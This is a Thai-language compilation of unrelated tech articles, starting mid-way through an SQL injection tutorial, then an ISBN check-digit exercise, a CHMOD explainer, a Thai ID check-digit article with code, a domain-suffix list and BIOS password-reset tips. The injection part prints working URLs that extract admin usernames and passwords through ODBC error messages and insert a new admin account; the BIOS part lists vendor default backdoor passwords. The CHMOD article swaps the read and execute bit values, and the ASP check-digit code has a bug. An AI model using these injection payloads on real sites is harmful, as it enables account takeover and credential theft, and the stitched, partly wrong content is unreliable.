     ตอนนี้เราสามารถระบุชื่อและcolumn ของตารางที่สำคัญๆ ได้แล้ว เราก็ยังคงใช้เทคนิคเดียวกันนี้กับข้อมูลอื่นๆ
ที่เราต้องการจากฐานข้อมูล
     มองลองเอาชื่อ login_name จากตาราง "admin_login" กัน :
     http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–
     ผลที่ได้จากด้านบนคือ
     Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
     [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.
     /index.asp, line 5
     ที่นี้เราก็จะรู้ชื่อของ admin ที่มี login_name ว่า "neo" สุดท้าย เอา pass ของ "neo" มาจาก DB :
     http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–
     ผลที่ได้คือ
     Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
     [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.
     /index.asp, line 5
     เราก็จะสามารถ login ได้โดยใช้ user เป็น neo และ passwrod เป็น m4trix
6.3 วิธีที่จะได้มาซึ่งค่า numeric string (ข้อความที่เป็นตัวเลข…อันนี้ต้องเคยเขียนโปรแกรมจึงจะเข้าใจประเภทของตัวแปร)
     ค่อนข้างจะมีข้อจำกัดสำหรับเทคนิคนี้ คือเราไม่สามารถทำ error message ได้ถ้าต้องการจะ แปลงข้อความเป็น
ตัวเลขล้วนๆ พูดง่ายๆ คือ หากเราต้องการจะเอา pass ของคนที่ชื่อ "trinity" ซึ่งเขามี pass เป็น "31173" ซึ่งเป็นตัวเลขทั้งหมด :
     http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–
     เราจะพบว่า ผลที่ได้จะเจอกับ "Page Not Found" เพราะ "31173" ซึ่งเป็น string จะถูกแปลงไปเป็น number
ก่อนที่จะทำการ UNION กับจำนวนเต็มดังกล่าว (ในที่นี้คือ 10) และหากว่าการ UNION ใช้ได้หรือถูกต้องนั้น SQL server จะไม่
ส่ง error message ออกมา ดังนั้น เราจะไม่สามารถมองเห็นค่าตัวเลขใดๆ เลย (อืมข้อนี้น่าสนใจ เอาไว้ใช้เวลาตั้ง pass สำหรับ
admin ได้นะ)
การแก้ปัญหานี้ เราสามารถเชื่อมโยง numeric string กับ ตัวอักษรบางตัวแทน ซึ่งต้องมั่นใจว่าการแปลงนั้นส่งผลผิดพลาดแน่นอน(เพื่อ
จะให้ server ส่ง error message ออกมา) เรามาลองคำสั่งนี้แทน :
     http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–
     เราใช้เครื่องหมาย + เพิ่มเข้าไปใน passwd กับ ตัวอักษร ที่เราต้องการ (รหัส ASSCII สำหรับเครื่องหมาย ‘+’ คือ 0x2b)
เรายังเพิ่ม ‘(ช่องว่าง)morpheus’ เข้าไปในช่อง passwd ด้วย เพราะฉะนั้นเมื่อเรามีเลข ‘31173’ มันจะกลายเป็น ‘31173 morpheus’
โดยปกติเรียกกันว่าฟังก์ชั่น convert() ซึ่งจะพยายามแปลง ‘31173 morpheus’ ไปเป็นตัวเลขซึ่งจะทำให้ SQL server ส่ง
error message ออกมาดังนี้ :
     Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
     [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.
     /index.asp, line 5
     คราวนี้คุณก็สามารถ login ได้โดยใช้ passwd เป็น ‘31173’
7.0 แล้วเราจะสามารถ update/insert ข้อมูลลงไปใน DB ได้รึป่าว ?
     ถ้าเรารู้ชื่อของตารางและ column แล้วมันก็เป็นไปได้ที่เราจะสามารถใช้คำสั่ง UPDATE หรือ INSERT ข้อมูล
ลงไปในตารางได้ ยกตัวอย่างเช่น การเปลี่ยน passwd ของคนที่ชื่อ "neo" (แปลมาถึงตรงนี้เห็นได้ว่า คนเขียนบ้าหนังเรื่อง Matrix
พอสมควร) ทำได้ดังนี้ :
     http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–
     ทีนี่เราก็จะสามารถ login ได้ในชื่อ neo2 และ pass คือ newpas5
8.0 แล้วจะหลีกเลี่ยงวิธีนี้ได้ไงอะ ?
     กรองตัวอักษรเช่น single quote, double quote, slash, back slash, semi colon extended ตัวอักษร
เช่น NULL การ enter การขึ้นบรรทัดใหม่ ฯลฯ ที่เข้ามาในรูป String :
      – จาก Input ของ users
      – ค่า Parameters จาก URL
      – ค่าจากตัวแปร cookie
     สำหรับค่าทีเป็นตัวเลขให้แปลงเป็น จำนวนเต็มก่อนที่จะวางลงไปในคำสั่ง SQL หรือจะใช้คำสั่ง ISNUMERIC เพื่อให้แน่ใจว่าเป็นตัวเลข
จำนวนเต็ม
     เปลี่ยน "Startup and run SQL Server" โดยปรับ privilege ให้อยู่ในระดับ low ใน SQL Server Security tab
     ลบ stored procedures ที่ไม่ใช้แล้วทิ้ง เช่น :
     master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0 ข้อมูลเพิ่มเติม
     ในช่วงแรกๆ ในการทำงานเรื่อง SQL Injection นี้ เราได้ค้นพบเอกสารจากเวป Rain Forest Puppy เกี่ยวกับการ hack
ด้วยวิธี PacketStrom :
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
     บทความดีๆ เกี่ยวกับ ODBC error message :
http://www.blackhat.com/presentations/wi…hfield.doc
     บทสรุปดีๆ สำหรับ SQL Injection ในหลายๆ SQL server
http://www.owasp.org/asac/input_validation/sql.shtml
     บทความของ Sensepost เกี่ยวกับ SQL Injection
http://www.sensepost.com/misc/SQLinsertion.htm
     อื่นๆ เพิ่มเติม
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/W…ection.pdf

หมายเลข ISBN ขนาด 10 ของหนังสือ

     หนังสือที่พิมพ์กันทั้งหลายในโลกนี้จะมีหมายเลข ISBN ขนาด 10 หลัก ตัวอย่างเช่น
หนังสือ "การออกแบบและวิเคราะห์อัลกอริทึม" เขียนโดยสมชาย ประสิทธิ์จูตระกูล จัดพิมพ์โดยสำนักงานพัฒนาวิทยาศาสตร์และเทคโนโลยีแห่งชาติ มี ISBN คือ 974 229 026 1
เลขสิบหลักของ ISBN นั้นมีเลขหลักที่สิบ (หลักขวาสุด) เป็นตัวตรวจสอบความถูกต้องของอีก 9 ตัวทางซ้าย (เรียกว่า check digit) ให้ d_k แทนตัวเลขหลักที่ k จะได้ว่า check digit ต้องมีค่าเท่ากับ
\displaystyle{\left( {\sum\limits_{k = 1}^9 {(k \times d_k )} } \right)\bmod 11}
เช่น ถ้า 9 หลักซ้ายของ ISBN คือ 974229026 สามารถคำนวณ check digit ได้
1×9 + 2×7 + 3×4 + 4×2 + 5×2 + 6×9 + 7×0 + 8×2 + 9×6 = 177
check digit คือ 177 mod 11 = 1
เนื่องจากขั้นตอนสุดท้ายในการหา check digit มาจากการ mod ด้วย 11 ซึ่งมีค่าได้ตั้งแต่ 0 ถึง 10 สำหรับกรณีที่ได้ค่าเป็น 10 จะใช้ตัวอักษร X ที่ตำแหน่ง check digit
สิ่งที่ต้องการ
เขียนโปรแกรมเพิ่มใน ISBN ให้ทำงานดังนี้
รอรับ ISBN จากผู้ใช้ทางแป้นพิมพ์
ตรวจสอบว่า ISBN ที่ได้รับถูกต้องหรือไม่
ISBN ที่ไม่ถูกต้องมี 3 แบบคือ
1)มีไม่ครบ หรือมีเกิน 10 หลัก
2)เก้าหลักทางซ้ายมีบางตัวไม่ใช่ตัวเลข หรือหลักที่สิบ (ขวาสุด) ไม่ใช่ตัวเลขและไม่ใช่ X
3)check digit มีค่าไม่ถูกต้องตามกฎ
ให้แสดงผลของการตรวจสอบทางจอภาพ ดังนี้
ถ้าถูกต้อง ให้แสดงคำว่า CORRECT
ถ้าไม่ถูกต้อง
แบบที่ 1 ให้แสดงคำว่า INCORRECT 1
แบบที่ 2 ให้แสดงคำว่า INCORRECT 2
แบบที่ 3 ให้แสดงคำว่า INCORRECT 3

เรือง CHOMD ที่ควรรู้จัก

     มีหลายท่านสอบถามมาว่า พี่ ผม D/L โปรแกรมไป เขาบอกว่าต้องเปลี่ยนค่า CHMOD เป็น 755 กับไฟล์ก่อน ไม่ทราบว่า CHMOD คืออะไร วันนี้ผมจะมาอธิบายให้ฟัง กับบทความนี้นะครับ

<< CHMOD >>

CHMOD คือ ค่า Permission ครับ หรือธิบายเป็นไทยคือ ค่าของความมีสิทธิ์ในการเข้าถึงและใช้งาน File หรือ Directory นั้น ๆ ซึ่งจะมีค่าต่าง ๆ แบ่งเป็นตัวเลข 3 หลัก เช่น 755, 777 เป็นต้น ในความหมายของเลขแต่ละหลักทั้ง 3 หลัก จะมีความหมายดังนี้

ตารางการกำหนดค่า CHMOD แบ่งตามกลุ่ม
หลักแรก Owner

หลักที่ 2 Group

หลักที่ 3 Others or Puplic

Execute
Write
Read
Execute
Write
Read
Execute
Write
Read

4

2
1
4
2
1
4
2
1

Execute คือ การสั่งให้ทำงาน  Write คือ การเขียนFile หรือ Directory  Read คือ การอ่าน File หรือ Directory

เลขในหลักแรก -> เจ้าของไฟล์/directory (Owner)

ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข
4 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น
6 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2)
7 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1)
(ดูค่าตามตาราง ประกอบ)

เลขในหลักที่สอง -> ผู้ใช้กลุ่มเดียวกับเจ้าของไฟล์/directory (Group)

ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข
4 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น
6 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group)ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2)
7 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1)
(ดูค่าตามตาราง ประกอบ)

เลขในหลักที่สาม -> ผู้ใช้ในอื่น ๆ (Others)

ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข
4 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น
6 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2)
7 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1)
(ดูค่าตามตาราง ประกอบ)

ตัวอย่างเลข 777 จะหมายความว่า ผู้ใช้ในทุกกลุ่ม ไม่ว่าจะเป็นเจ้าของไฟล์ / กลุ่มเดียวกับเจ้าของ / ผู้ใช้อื่น ๆ ทุกกลุ่มที่กล่าวมา มีสิทธิ์ในการกระทำทุกสิ่งกับไฟล์ที่มีค่า CHMOD เป็น 777 เป็นต้น

ตัวอย่างการใช้งานเช่น ในไฟล์ TEXT ของโปรแกรมเรา อย่างเช่นโปรแกรม COUNTER ที่จะต้องมีการ สั่งให้ทำงาน อ่าน และเขียน อยู่ทุก ๆ ครั้งที่มีการเรียกใช้งานเว็บเพจที่มีการติดตั้งโปรแกรมดังกล่าว ไฟล์ TEXT นั้น จะต้องมีการเปลี่ยนค่า CHMOD เป็น 777 เพื่อให้มีการเขียนไฟล์ได้จากผู้ใช้อื่น ๆ เป็นต้น

การเปลี่ยนค่า CHMOD ในโปรแกรม FTP

สำหรับวิธีการเปลียนแปลงค่า CHMOD นั้น ในโปรแกรมสำหรับใช้ในการ Upload ด้วย FTP นั้น โปรแกรมประเภทนี้จะมี Option ที่ใช้ในการเปลี่ยนค่า Permission นี้กับทุกตัวโปรแกรม ผมจะยกตัวอย่างจากโปรแกรม Cute FTP PRO นะครับ

1. ให้เรา Connect ไปที่ Server ที่เราใช้บริการ จากนั้นให้เราทำการไปยังหน้าทางฝั่งของ Remote Site (ฝั่ง Server)
2. ให้เราทำการเลือกไฟล์ที่เราต้องทำการเปลียนค่า CHMOD แล้ว Click ขวาที่ไฟล์นั้น จากนั้นจะปรากฏเมนูดังรูป


3. เลือกไปที่เมนูที่มีคำว่า CHMOD ( FTP บางโปรแกรมอาจจะเรียกว่า Properties)
4. เมื่อ Click เลือกไปที่เมนูดังกล่าวแล้ว จะปรากฏหน้าต่างให้เราสามารถกำหนดค่า CHMOD ใหม่ลงไปได้ ดังรูป

5. เมื่อทำการกำหนดได้ตามที่ต้องการแล้ว จากนั้นก็ OK เป็นอันเสร็จสิ้นขั้นตอนการเปลี่ยนค่า Permissions ของไฟล์นะครับ

 

คัดลอกบทความจาก : www.dwthai.comreserved. This website was created by : S.raksasuk.

มาดูวิธีเช็ค ว่า (เขามั่วรหัสประชาชนรึเปล่า?)

หมอดู แม่นมั่กๆ สามารถทำนายรหัสประชาชนหลักที่ 13 จาก รหัสประชาชน 12 หลักแรกได้ครับ รหัสประจำตัวประชาชน (ขอเรียกสั้นๆว่า รหัสประชาชน) ที่เราจะมาตรวจกันวันนี้เป็นรหัสประชาชน ของคนไทยนะครับ ก่อนอื่น ให้เพื่อนๆ หยิบบัตรประชาชนของเพื่อนๆ ขึ้นมาดูกันเลยครับ

รหัสประจำตัวของเราจะอยู่ในรูป x-xxxx-xxxxx-xx-x (เลข 13 หลัก) ใช่มั้ยครับ แต่เพื่อนๆ รู้ป่ะว่า จริงๆแล้ว รหัสประจำตัวของเราเนี่ย จริงๆ แล้วมีแค่ 12 หลักเท่านั้น (12 หลักแรก) แต่เลขตัวสุดท้ายเนี่ย เป็น Check Digit ครับ

Check Digit คืออะไรหนอ?

Check Digit เป็นตัวเลข 1 หลัก ที่เกิดจากการนำเลขหลักอื่นๆ มา บวก ลบ คูณ หาร กัน และ Check Digit นี่หละครับ จะช่วยให้เราตรวจสอบในเบื้องต้นได้ว่า ข้อมูลที่กรอกมาถูกต้องรึเปล่า

เวลาเราจะตรวจสอบว่าข้อมูลที่กรอกมาถูกต้องรึเปล่า เราจะคำนวณ Check Digit จากเลขหลักอื่นๆ เพื่อเปรียบเทียบกับ Check Digit ที่เขากรอกมาว่าตรงกันมั้ย ถ้าตรงกันก็แสดงว่าข้อมูลถูกต้องไม่ผิด ไม่มั่ว แต่ถ้าไม่ตรงกัน ก็แปลว่า ข้อมูลที่กรอกมามีข้อมูลซักหลัก หรือ สองหลักที่ผิด เราก็สามารถเตือนให้ผู้ใช้ทราบและกรอกใหม่ อีกครั้งได้

เอ้า มาลองคำนวณ Check Digit ของรหัสประชาชนเรากันดีกว่า

ขอยกตัวอย่างรหัสประชาชนนี้ละกันครับ

1-2015-41462-23-4

ไหน ตอบหน่อยซิ ว่า Check Digit ของรหัสประชาชนนี้คือเลขอะไรคร้าบ…….
เอ้า ถามเองตอบเองก็ได้ Check Digit ของรหัสประชาชนนี้คือเลข 4 (เลขตัวสุดท้ายนั่นเอง)
เรามาดูกันว่า เลข 4 เกิดจากอะไรหว่า? คำนวณมาได้ไง? มั่วอ๊ะเปล่า?

  • ขั้นตอนที่ 1 – เอาเลข 12 หลักมา เขียนแยกหลักกันก่อน (หลักที่ 13 ไม่ต้องเอามานะคร้าบ)
    1

    2

    0

    1

    5

    4

    1

    4

    6

    2

    2

    3
  • ขั้นตอนที่ 2 – เอาเลข 12 หลักนั้นมา คูณเข้ากับเลขประจำหลักของมัน
    รหัสบัตร

    1

    2

    0

    1

    5

    4

    1

    4

    6

    2

    2

    3

    ตัวคูณ

    13

    12

    11

    10

    9

    8

    7

    6

    5

    4

    3

    2

    ผลคูณ

    13

    24

    0

    10

    45

    32

    7

    24

    30

    8

    6

    6
  • ขั้นตอนที่ 3 – เอาผลคูณทั้ง 12 ตัวมา บวกกันทั้งหมด จะได้ 13+24+0+10+45+32+7+24+30+8+6+6=205
  • ขั้นตอนที่ 4 – เอาเลขที่ได้จากขั้นตอนที่ 3 มา mod 11 (หารเอาเศษ) จะได้ 205 mod 11 = 7
  • ขั้นตอนที่ 5 – เอา 11 ตั้ง ลบออกด้วย เลขที่ได้จากขั้นตอนที่ 4 จะได้ 11-7 = 4 (เราจะได้ 4 เป็นเลขในหลัก Check Digit)

    ถ้าเกิด ลบแล้วได้ออกมาเป็นเลข 2 หลัก ให้เอาเลขในหลักหน่วยมาเป็น Check Digit (เช่น 11 ให้เอา 1 มา, 10 ให้เอา 0 มา เป็นต้น)

โอ้โห….มหัศจรรย์มาก ยอดเยี่ยมกระเทียมดอง เลขที่ได้ตรงกับเลขหลักที่ 13 ด้วยแหละ…ถ้าไม่เชื่อก็เอาเลขบัตรประชาชนตัวเองมาคำนวณดูสิครับ

ผมคิดว่าหลายๆ คนคงมีคำถามในใจแล้วหละว่า ทำไมต้องเอามาคูณ 13 ทำไมต้องเอามา บวกกัน ทำไมต้องเอามา mod 11 คำตอบที่ผมให้ได้ก็คือ มันคือวิธีที่ถูกเลือกใช้ในการคำนวณ Check Digit ให้กับรหัสประชาชนครับ แต่ถ้าเราจะคำนวณ Check Digit ให้กับรหัสสินค้า หรือ ISBN ของหนังสือ เราก็ต้องใช้วิธีการคำนวณ ที่แตกต่างกันออกไปครับ

ในเมื่อรู้วิธีแล้ว เรามาเขียนโปรแกรมตรวจสอบกันดีกว่าผมเขียนไว้ให้หลายภาษาเหมือนกัน ให้เพื่อนๆ เลือกใช้ได้ตามสะดวกนะครับ

………………………………………………………………………………
เวอร์ชัน JavaScript
<script language="javascript">
function checkID(id) { 
    if(id.length != 13) return false; 
    for(i=0, sum=0; i < 12; i++) 
        sum += parseFloat(id.charAt(i))*(13-i); 
    if((11-sum%11)%10!=parseFloat(id.charAt(12))) return false; 
    return true;
}

function checkForm() { 
    if(!checkID(document.form1.txtID.value)) 
        alert(‘รหัสประชาชนไม่ถูกต้อง’); 
    else 
        alert(‘รหัสประชาชนถูกต้อง เชิญผ่านได้’);
}
</script>
<form name="form1" onsubmit="checkForm(); return false;"> รหัสประจำตัวประชาชน :
<input type="text" name="txtID" />
<input type="submit" value="ตรวจสอบ" />
</form>
………………………………………………………………………………
เวอร์ชัน php
<?
function checkID($id) { 
    if(strlen($id) != 13) return false; 
    for($i=0, $sum=0; $i<12;$i++) 
        $sum += (int)($id{$i})*(13-$i); 
    if((11-($sum%11))%10 == (int)($id{12})) 
        return true; 
    return false;
}
?>

<form action="?" method="get"> รหัสประจำตัวประชาชน :
<input type="text" name="txtID" />
<input type="submit" value="ตรวจสอบ" />
</form>

<?
if(isset($_GET[‘txtID’])) { 
    if(checkID($_GET[‘txtID’])) 
    echo "รหัสถูกต้องครับ"; 
    else 
        echo "รหัสที่คุณกรอกไม่ถูกต้องครับ";
}
?>
…………………………………………………………………………
เวอร์ชั่น ASP 3
<%
Function checkID(id) 
    checkID = False 
    If Len(id) = 13 Then 
        Dim i, sum 
        For i = 1 To 12 
            sum = sum + CInt(Mid(id, i, 1))*(14-i) 
        Next 
        If (11-(sum Mod 11)) Mod 10 = CInt(Mid(id, i, 13)) Then 
            checkID = True 
        End If 
    End If
End Function
%>

<form action="?" method="get"> รหัสประจำตัวประชาชน :
<input type="text" name="txtID" />
<input type="submit" value="ตรวจสอบ" />
</form>

<%
If Request("txtID") <> "" Then 
    If checkID(Request("txtID")) Then 
        Response.Write "รหัสถูกต้องครับ" 
    Else 
        Response.Write "รหัสที่คุณกรอกไม่ถูกต้องครับ" 
    End If
End If
%> 
………………………………………………………………………………

   จริงๆ แล้วถ้าเพื่อนๆ จะเอาไปใช้จริง ก็ Copy ไปเฉพาะฟังก์ชัน CheckID ก็ได้ครับ โดยพารามิเตอร์ตัวแรกของ CheckID ทั้ง 3 ภาษานี้คือ ข้อความที่เก็บรหัสประจำตัวประชาชนไว้ครับ ฟังก์ชันนี้จะคืนค่าเป็น True ถ้ารหัสถูกต้อง และคืนค่าเป็น False ถ้ารหัสผิดครับ

สรุป
     เราได้เรียนรู้วิธีการตรวจสอบเบื้องต้น (ข้อย้ำว่าเบื้องต้น) เพราะรหัสประชาชนที่ผู้ใช้กรอก อาจมี Check Digit ที่ถูกต้อง แต่อาจเป็นรหัสประชาชนที่ไม่มีอยู่จริงก็ได้นะครับ

 Copyright © 2004-2005 Siamdev.Net Developers Team

Domain Extension

รวบรวม นามสกุล(extension)ต่างๆ ของแต่ละประเทศ เอามาฝาก ว่าของใครมาจากประเทศไหนบ้าง

A B C D E

 

F G H I J K L

 

Country

ac
United Kingdom academic institutions

ad
Andorra

ae
United Arab Emirates

af
Afghanistan

ag
Antigua and Barbuda

ai
Anguilla

al
Albania

am
Armenia

an
Netherlands Antilles

ao
Angola

aq
Antarctica

ar
Argentina

as
American Samoa

at
Austria

au
Australia

aw
Aruba

az
Azerbaijan

ba
Bosnia and Herzegovina

bb
Barbados

bd
Bangladesh

be
Belgium

bf
Burkina Faso

bg
Bulgaria

bh
Bahrain

bi
Burundi

bj
Benin

bm
Bermuda

bn
Brunei Darussalam

bo
Bolivia

br
Brazil

bs
Bahamas

bt
Bhutan

bv
Bouvet Island

bw
Botswana

by
Belarus

bz
Belize

ca
Canada

cc
Cocos (Keeling) Islands

cf
Central African Republic

cg
Congo

ch
Switzerland

ci
Cote d’Ivoire (Ivory Coast)

ck
Cook Islands

cl
Chile

cm
Cameroon

cn
China

co
Colombia

com
US Commercial

cr
Costa Rica

cs
Czechoslovakia (former)

cu
Cuba

cv
Cape Verde

cx
Christmas Island

cy
Cyprus

cz
Czech Republic

de
Germany

dj
Djibouti

dk
Denmark

dm
Dominica

do
Dominican Republic

dz
Algeria

ec
Ecuador

edu
US Educational

ee
Estonia

eg
Egypt

eh
Western Sahara

er
Eritrea

es
Spain

et
Ethiopia
 

 

Country

fi
Finland

fj
Fiji

fk
Falkland Islands (Malvinas)

fm
Micronesia

fo
Faroe Islands

fr
France

fx
France (Metropolitan)

ga
Gabon

gb
Great Britain (UK)

gd
Grenada

ge
Georgia

gf
French Guiana

gh
Ghana

gi
Gibraltar

gl
Greenland

gm
Gambia

gn
Guinea

gov
US Government

gp
Guadaloupe

gq
Equatorial Guinea

gr
Greece

gs
South Georgia and South Sandwich Islands

gt
Guatemala

gu
Guam

gw
Guinea-Bissau

gy
Guyana

hk
Hong Kong

hm
Heard and McDonald Islands

hn
Honduras

hr
Croatia (Hrvatska)

ht
Haiti

hu
Hungary

id
Indonesia

ie
Ireland

il
Israel

in
India

io
British Indian Ocean Territory

iq
Iraq

ir
Iran

is
Iceland

it
Italy

jm
Jamaica

jo
Jordan

jp
Japan

ke
Kenya

kg
Kyrgyzstan

kh
Cambodia

ki
Kiribati

km
Comoros

kn
Saint Kitts and Nevis

kp
Korea (North)

kr
Korea (South)

ku
Kuwait

ky
Cayman Islands

kz
Kazakhstan

la
Laos

lb
Lebanon

lc
Saint Lucia

li
Liechtenstein

lk
Sri Lanka

lr
Liberia

ls
Lesotho

lt
Lithuania

lu
Luxembourg

lv
Latvia

ly
Libya
M N O P Q R

 

S T U V W X Y Z

 

Country

ma
Morocco

mc
Monaco

md
Moldova

mg
Madagascar

mh
Marshall Islands

mil
US Military

mk
Macedonia

ml
Mali

mm
Mynamar

mn
Mongolia

mo
Macau

mp
Northern Mariana Islands

mq
Martinique

mr
Mauritania

ms
Montserrat

mt
Malta

mu
Mauritius

mv
Maldives

mw
Malawi

mx
Mexico

my
Malaysia

mz
Mozambique

na
Namibia

nc
New Caledonia

ne
Niger

net
US network

nf
Norfolk Island

ng
Nigeria

ni
Nicaragua

nl
Netherlands

no
Norway

np
Nepal

nr
Nauru

nt
Neutral Zone

nu
Niue

nz
New Zealand (Aotearoa)

om
Oman

org
US Non-Profit Organization

pa
Panama

pe
Peru

pf
French Polynesia

pg
Papua New Guinea

ph
Philippines

pk
Pakistan

pl
Poland

pm
Saint Pierre and Miquelon

pn
Pitcairn

pr
Puerto Rico

pt
Portugal

pw
Palau

py
Paraguay

qa
Qatar

re
Reunion

ro
Romania

ru
Russian Federation

rw
Rwanda
 

 

Country

sa
Saudi Arabia

sb
Solomon Islands

sc
Seychelles

sd
Sudan

se
Sweden

sg
Singapore

sh
Saint Helena

si
Slovenia

sj
Svalbard and Jan Mayen Islands

sk
Slovak Republic

sl
Sierra Leone

sm
San Marino

sn
Senegal

so
Somalia

sr
Suriname

st
Sao Tome and Principe

su
USSR (former)

sv
El Salvador

sy
Syria

sz
Swaziland

tc
Turks and Caicos Islands

td
Chad

tf
French Southern Territories

tg
Togo

th
Thailand

tj
Tajikistan

tk
Tokelau

tm
Turkmenistan

tn
Tunisia

to
Tonga

tp
East Timor

tr
Turkey

tt
Trinidad and Tobago

tv
Tuvalu

tw
Taiwan

tz
Tanzania

ua
Ukraine

ug
Uganda

uk
United Kingdom

um
US Minor Outlying Islands

us
United States

uy
Uruguay

uz
Uzbekistan

va
Vatican City State

vc
Saint Vincent and the Grenadines

ve
Venezuela

vg
Virgin Islands (British)

vi
Virgin Islands (US)

vn
Viet Nam

vu
Vanuatu

wf
Wallis and Futuna Islands

ws
Samoa

ye
Yemen

yt
Mayotte

yu
Yugoslavia

za
South Africa

zm
Zambia

zr
Zaire

zw
Zimbabwe

วิธีการลบหรือยกเลิก Password ใน BIOS เมื่อลืมหรือไม่ทราบ

     โดยปกติแล้ว หากใช้เครื่องคอมพิวเตอร์คนเดียว ก็คงไม่มีความจำเป็นต้องตั้ง Password สำหรับเข้าไป Setup BIOS หรือเปิดเครื่อง แต่ถ้าหากได้เคยตั้งไว้แล้วลืม หรือได้เมนบอร์ดมาโดยที่มีการตั้ง Password ไว้และไม่รู้ว่าใช้ Password อะไร ก็มีวิธีการที่จะ Reset หรือ Clere Password ซึ่งอาจจะต้องลองหลาย ๆ วิธีดูนะครับเท่าที่ได้รวบรวมมาดังนี้

ถ้าคุณไม่ได้ตั้ง password เอง ให้ลองใช้ Default Password เหล่านี้ดูก่อน เพราะอาจจะเป็น password ที่ตั้งมาตั้งแต่แรกก็ได้ (Case Sensitive)

  • AMI
  • Award
  • bios
  • setup
  • cmos
  • AMI_SW
  • AMI!SW/
  • AMI?SW/
  • AWARD_SW

ทำการ Reset โดยการ Clear CMOS ดังนี้

  • มองหา jumper สำหรับ Reset CMOS ก่อนโดยดูจากคู่มือ หรืออาจจะมองหา jumper ใกล้ ๆ กับแบตเตอรี่ของ CMOS ก็ได้ ส่วนใหญ่จะมีลักษณะเป็น jumper 3 ขา
  • วิธีการ Reset คือทำการ jump ให้ตรงข้ามกับปกติ คือถ้าหากเดิมมีการ jump อยู่ที่ 1-2 ก็เปลี่ยนมาเป็น 2-3 หรือถ้าปกติ jump อยู่ที่ 2-3 อยู่แล้วก็เปลี่ยนเป็น 1-2
  • จากนั้นเปิดเครื่องคอมพิวเตอร์ ทิ้งไว้สัก 5-10 วินาที ปิดเครื่องคอมพิวเตอร์
  • เปลี่ยน jumper กลับมาที่เดิม Password จะถูก Reset

ทำการถอดแบตเตอรี่ของ CMOS ออก

ถ้าหากไม่สามารถหา jumper สำหรับ Reset CMOS ได้อาจจะมีอีกวิธี คือทำการถอดแบตเตอรี่ของ CMOS ออกสัก 5 นาทีแล้วก็ใส่เข้าไปใหม่ จะเป็นการตั้งค่าทุกอย่างของ BIOS กลับไปเป็น Default ได้ แต่เมนบอร์ดบางรุ่น จะยังมี Password อยู่โดยจะเป็น Default Password ตามด้านบนนะครับ หลังจากใส่แบตเตอรี่แล้วก็ถ้ายังถาม Password อีกให้ลองใส่ Default Password ข้างบนดู

ใช้โปรแกรม Reset CMOS เพื่อทำการลบ password

